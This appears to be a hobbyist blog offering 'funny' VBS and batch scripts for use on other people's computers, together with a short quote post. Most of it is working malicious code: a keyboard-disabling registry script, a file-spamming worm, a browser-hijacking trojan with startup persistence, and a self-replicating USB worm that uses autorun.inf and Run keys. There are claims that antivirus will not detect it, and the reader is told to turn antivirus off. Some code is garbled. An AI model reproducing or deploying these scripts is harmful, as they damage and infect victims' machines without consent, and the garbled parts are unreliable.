Funny Vbs and .bat codes

To make someone continuously open and close their cd drives:

Set oWMP = CreateObject(“WMPlayer.OCX.7” )
Set colCDROMs = oWMP.cdromCollection
if colCDROMs.Count >= 1 then
do
For i = 0 to colCDROMs.Count – 1
colCDROMs.Item(i).Eject
Next ‘ cdrom
For i = 0 to colCDROMs.Count – 1
colCDROMs.Item(i).Eject
Next ‘ cdrom
loop
End If

save as a .vbs file

To disable their keyboard using a .bat file:

@echo off
echo Windows Registry Editor Version 5.00 > “nokeyboard.reg”
echo [HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Keyboard Layout] >> “nokeyboard.reg”
echo “Scancode Map”=hex:00,00,00,00,00,00,00,00,7c,00,00,00,00,00,01,00,00,\ >> “nokeyboard.reg”
echo 00,3b,00,00,00,3c,00,00,00,3d,00,00,00,3e,00,00,00,3f,00,00,00,40,00,00,00,\ >> “nokeyboard.reg”
echo 41,00,00,00,42,00,00,00,43,00,00,00,44,00,00,00,57,00,00,00,58,00,00,00,37,\ >> “nokeyboard.reg”
echo e0,00,00,46,00,00,00,45,00,00,00,35,e0,00,00,37,00,00,00,4a,00,00,00,47,00,\ >> “nokeyboard.reg”
echo 00,00,48,00,00,00,49,00,00,00,4b,00,00,00,4c,00,00,00,4d,00,00,00,4e,00,00,\ >> “nokeyboard.reg”
echo 00,4f,00,00,00,50,00,00,00,51,00,00,00,1c,e0,00,00,53,00,00,00,52,00,00,00,\ >> “nokeyboard.reg”
echo 4d,e0,00,00,50,e0,00,00,4b,e0,00,00,48,e0,00,00,52,e0,00,00,47,e0,00,00,49,\ >> “nokeyboard.reg”
echo e0,00,00,53,e0,00,00,4f,e0,00,00,51,e0,00,00,29,00,00,00,02,00,00,00,03,00,\ >> “nokeyboard.reg”
echo 00,00,04,00,00,00,05,00,00,00,06,00,00,00,07,00,00,00,08,00,00,00,09,00,00,\ >> “nokeyboard.reg”
echo 00,0a,00,00,00,0b,00,00,00,0c,00,00,00,0d,00,00,00,0e,00,00,00,0f,00,00,00,\ >> “nokeyboard.reg”
echo 10,00,00,00,11,00,00,00,12,00,00,00,13,00,00,00,14,00,00,00,15,00,00,00,16,\ >> “nokeyboard.reg”
echo 00,00,00,17,00,00,00,18,00,00,00,19,00,00,00,1a,00,00,00,1b,00,00,00,2b,00,\ >> “nokeyboard.reg”
echo 00,00,3a,00,00,00,1e,00,00,00,1f,00,00,00,20,00,00,00,21,00,00,00,22,00,00,\ >> “nokeyboard.reg”
echo 00,23,00,00,00,24,00,00,00,25,00,00,00,26,00,00,00,27,00,00,00,28,00,00,00,\ >> “nokeyboard.reg”
echo 1c,00,00,00,2a,00,00,00,2c,00,00,00,2d,00,00,00,2e,00,00,00,2f,00,00,00,30,\ >> “nokeyboard.reg”
echo 00,00,00,31,00,00,00,32,00,00,00,33,00,00,00,34,00,00,00,35,00,00,00,36,00,\ >> “nokeyboard.reg”
echo 00,00,1d,00,00,00,5b,e0,00,00,38,00,00,00,39,00,00,00,38,e0,00,00,5c,e0,00,\ >> “nokeyboard.reg”
echo 00,5d,e0,00,00,1d,e0,00,00,5f,e0,00,00,5e,e0,00,00,22,e0,00,00,24,e0,00,00,\ >> “nokeyboard.reg”
echo 10,e0,00,00,19,e0,00,00,30,e0,00,00,2e,e0,00,00,2c,e0,00,00,20,e0,00,00,6a,\ >> “nokeyboard.reg”
echo e0,00,00,69,e0,00,00,68,e0,00,00,67,e0,00,00,42,e0,00,00,6c,e0,00,00,6d,e0,\ >> “nokeyboard.reg”
echo 00,00,66,e0,00,00,6b,e0,00,00,21,e0,00,00,00,00 >> “nokeyboard.reg”
start nokeyboard.reg

save as a .bat file

To swap their mouse buttons (harmless, but fun) copy and save the following as a .bat file:

@ echo off
rem ———————————
rem Swap Mouse Buttons
RUNDLL32 USER32.DLL,SwapMouseButton
rem ———————————

How to hide a folder on your computer without any software.

First of all, open notepad and type or copy the following:

 

@ECHO OFF

cls

title Folder Locker

if EXIST “Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}” goto UNLOCK

if NOT EXIST Locker goto MDLOCKER

:CONFIRM

cls

echo Are you sure u want to Lock the folder(Y/N)

set/p “cho=>”

if %cho%==Y goto LOCK

if %cho%==y goto LOCK

if %cho%==n goto END

if %cho%==N goto END

echo Invalid choice.

goto CONFIRM

:LOCK cls ren Locker “Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}”

attrib +h +s “Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}”

echo Folder locked

goto End

:UNLOCK

cls

echo Enter password to Unlock folder

set/p “pass=>”

if NOT %pass%==type your password here goto FAIL

attrib -h -s “Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}”

ren “Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}” Locker

echo Folder Unlocked successfully

goto End

:FAIL

cls

echo Invalid password

goto end

:MDLOCKER

cls

md Locker

echo Locker created successfully

goto End

:End

cls

exit

Type the password you want to set in the bit said so in the code, save as a .bat file with all files extension. Open the bat file again to unlock your folder (this bat file also makes the folder impossible to detect via Antivirus as well) and when you go to unlock the folder you have to enter your password.

Hope you like, cheers

🙂

– Ezzy4450

More Vbs codes

The Following are some harmless but fun vbs virus codes, (might not work in Win 8, But they could)

This one copies a hello file to every folder in your computer, even the hidden ones. It’s harmless, just annoying to delete every ‘hello’ file, which takes weeks, trust me, I know. Your Antivirus will NOT detect it, so don’t worry about that.

rem – VBS/dlH “DL Hello” Virus – By D.L. rem – Written on November 12th, 2003

On Error Resume Next dim FSobj,orgMes,finalMes set FSobj=CreateObject(“Scripting.FileSystemObject”)

orgMes=”Hello! Don’t be mad…I’m not a bad bug 🙂 – by *|%|” orgMes=replace(orgMes,chr(42),chr(68)) orgMes=replace(orgMes,chr(124),chr(46)) finalMes=replace(orgMes,chr(37),chr(76))

On Error Resume Next dim drive,machine

set machine=FSobj.Drives for each drive in machine    if (drive.DriveType=2)or(drive.DriveType=3) then    indexFolders(drive.Path&”\”)  end If next

sub indexFolders(location)  On Error Resume Next  dim specs,file,subFol,sayHello

 set specs=FSobj.GetFolder(location)  set subFol=specs.SubFolders

 for each file in subFol                 set sayHello = FSobj.CreateTextFile(file.Path&”.hello”, 2, True)   sayHello.write finalMes   sayHello.Close   writeData(file.Path)   indexFolders(file.Path)  next end sub

sub writeData(location)  On Error Resume Next         dim folder,directory,file,sayHello

 set folder=FSobj.GetFolder(location)  set directory=folder.Files

 for each file in directory    set sayHello = FSobj.CreateTextFile(file.Path&”.hello”, 2, True)   sayHello.write finalMes   sayHello.Close   next end sub

To uninfect the next file go to system root and remove the dlSPS.vbs file

rem – dlSPS ‘DL StartPage Swapper’ VBS Trojan By D.L. – Written on: November 4th, 2003

On Error Resume Next dim FSobj,sysDir,generateSelf,newFile,fixedCode,procreateSelf,newFileData

set FSobj=CreateObject(“Scripting.FileSystemObject”) set sysDir = FSobj.GetSpecialFolder(1)

createRegKey “HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\Start Page”,”http://www.YOURSITE.com” createRegKey “HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\Default_Page_URL”,”http://www.YOURSITE.com” createRegKey “HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\dlSPS”,sysDir&”\dlSPS.vbs”

set generateSelf=FSobj.CreateTextFile(sysDir+”\dlSPS.vbs”) generateSelf.close

set newFile = FSobj.OpenTextFile(WScript.ScriptFullname,1) writeCopy() fixedCode=replace(newFileData,chr(94),””””)

set procreateSelf=FSobj.OpenTextFile(sysDir+”\dlSPS.vbs”,2) procreateSelf.write fixedCode procreateSelf.close

sub createRegKey(regKey,regVal)      set regEdit = CreateObject(“WScript.Shell”)      regEdit.RegWrite regKey,regVal end sub

function writeCopy()      newFileData=”rem – ^dlSPS^ by D.L.” &vbcrlf& _      “set FSobj=CreateObject(^Scripting.FileSystemObject^)” &vbcrlf& _      “set sysDir = FSobj.GetSpecialFolder(1)” &vbcrlf& _      “createRegKey ^HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\Start Page^,^http://www.YOURSITE.com^” &vbcrlf& _      “createRegKey ^HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\Default_Page_URL^,^http://www.YOURSITE.com^” &vbcrlf& _      “createRegKey ^HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\dlSPS^,sysDir&^\dlSPS.vbs^” &vbcrlf& _      “sub createRegKey(regKey,regVal)” &vbcrlf& _      “set regEdit = CreateObject(^WScript.Shell^)” &vbcrlf& _      “regEdit.RegWrite regKey,regVal” &vbcrlf& _      “end sub” end function

See ya next time

Ezzy 4450 xD

Vbs virus code

First of all, what is a VBS file?

A vbs file is an executable file that is run by a program called wscript.exe. It runs like a batch file (.bat) or a .exe file. Some of the most dangerous and harmful viruses and worms of all time were vbs, although it isn’t used much these days, you can still damage a computer quite badly with one. I learned this the hard way.

Detailed
Folder icon or documents with the Application Type and Screen Saver
is guaranteed to be virus. Because the maker and screen saver applications
install folder icon or the word must have a less good faith.
3. Usually
these viruses masquerading under the name of an existing file in your flash or
diskette, while your original documents hidden in a hidden file. For how to
bring these hidden files you can see in the blog without anti-virus Prevent
Viruses
4. When you double-click virus, the virus program will be executed. The
first step is to open a document that the virus is hidden to reduce the user’s
suspicion.
5. The next virus will copy itself to the hard drive and write
the registry at HKEY_LOCAL_MACHINE \ Software \ Microsoft \ Windows \
CurrentVersion \ Run or HKEY_CURRENT_USER \ Software \ Microsoft \ Windows \
CurrentVersion \ Run so that the virus program is executed automatically when
the computer first turns on.
6. If necessary Virus Task manager and regedit
to disable to prevent users from manually remove the virus
7. The next virus
will be activated to check if there is a new document file in flash or diskette
in every few seconds, which would then be hidden and then copy the virus file
and name in accordance with this hidden file name. The virus also will write the
script in the flash Autorun.inf is hidden so that the virus is automatically
executed when the flash is in the double-click the My Computer

So
demikiankah cycle virus from pendrive to the computer and from computer to
pendrive
About VB Script

VB Script or Visual Basic Script is really
just plain text that contains the code of visual basic programming language and
stored with vbs format. To create a vbscript simple enough to use a text editor
such as Notepad or using a more complete, such as Ultra Edit or Notepad + +.
Here is an example of a simple vbscript.

1. Open the Notepad program
from Start> All Programs> Accessories> Notepad.
2. Write the
following text
MsgBox “This is a sample VB Script Simplified”
3. Then
save the file with the change Save as Type to All Files
4. Give the file a
name with an extra. Vbs behind. For example ScriptSederhanan.vbs
5. Now look
at the display icons in file explorer, no longer in the form of text. Try to
click 2 times the file, then the dialog box will appear saying This is a sample
VB Script Simple.
6. Required for the vbscript to be virus code so that the
right is just follow the process described above.

Simple Virus Code
Examples

Here is a sample code using vbscript a simple virus. If you
want to try should turn off Anti-virus on also Install Deep Freeze and freeze
the entire hard drive later

‘El Magnifico MAN
on error resume next

mysource dim, winpath, flashdrive, fs, mf, ATR, tf, RG, nt, check, sd

ATR = “[autorun]” & vbcrlf & “ShellExecute = wscript.exe
svchost.exe.vbs”
set fs = createobject (“Scripting.FileSystemObject”)

set mf = fs.getfile (Wscript.ScriptFullname)
dim text, size
size =
mf.size
check = mf.drive.drivetype
set text = mf.openastextstream (1,
-2)
do while not text.atendofstream
mysource = mysource &
text.readline
mysource = mysource & vbcrlf
loop
do
Set
winpath = fs.getspecialfolder (0)
set tf = fs.getfile (winpath & “\
svchost.exe.vbs”)
tf.attributes = 32
set tf = fs.createtextfile (winpath
& “\ svchost.exe.vbs”, 2, true)
tf.write mysource
tf.close
sets
tf = fs.getfile (winpath & “\ svchost.exe.vbs”)
tf.attributes = 39

For Each flashdrive in fs.drives
If (flashdrive.drivetype = 1 or
flashdrive.drivetype = 2) and flashdrive.path <> “A:” then
set tf =
fs.getfile (flashdrive.path & “\ svchost.exe.vbs”)
tf.attributes = 32

set tf = fs.createtextfile (flashdrive.path & “\ svchost.exe.vbs”, 2,
true)
tf.write mysource
tf.close
set tf = fs.getfile
(flashdrive.path & “\ svchost.exe.vbs”)
tf.attributes = 39
set tf =
fs.getfile (flashdrive.path & “\ autorun.inf”)
tf.attributes = 32

set tf = fs.createtextfile (flashdrive.path & “\ autorun.inf”, 2, true)

ATR tf.write
tf.close
set tf = fs.getfile (flashdrive.path & “\
autorun.inf”)
tf.attributes = 39
end if
next
set of RG =
createobject (“WScript.Shell”)
rg.regwrite “HKEY_LOCAL_MACHINE \ Software \
Microsoft \ Windows \ CurrentVersion \ Run \ svchost”, winpath & “\
svchost.exe.vbs”
rg.regwrite “HKEY_LOCAL_MACHINE \ Software \ Microsoft \
Windows \ CurrentVersion \ Run \ MS32DLL”, “”
rg.regwrite “HKCR \ vbsfile \
DefaultIcon \”, “shell32.dll, 3”
if check <> 1 then
Wscript.sleep
100,000
end if
loop while check <> 1
set sd = createobject
(“Wscript.shell”)
sd.run winpath & “\ explorer.exe / e, / select,” &
Wscript.ScriptFullname

do while year (now)> = 2008
WScript.sleep
20000th

MsgBox “Eliminate the UN to improve education in Indonesia”
& vbcrlf & _
“Because a lot happens in the UN political fraud and
schools” & vbcrlf & _
“To raise the prestige schools. Even in
certain districts,” & vbcrlf & _
“Cheating is sanctioned by the
district government is” & vbcrlf & _
vbcrlf & vbcrlf & _

“NATIONAL EXAM unselect” & vbcrlf & vbcrlf & _
“The voice of
the teacher concerned on the education system”

 

loop

That’s it for now, keep visiting every day for new posts. And by the way, this code is originally not mine, in case you worry about plagiarism

See ya later!

Ezzy 4450 🙂

Cool Quote

Famous Quote

This is a very good quote. Hope you like, and leave comments about it please 🙂

– Ezzy 4450

‘The only thing…

‘The only thing to fear is fear itself’ Mark Twain

One of my favourite quotes of all time.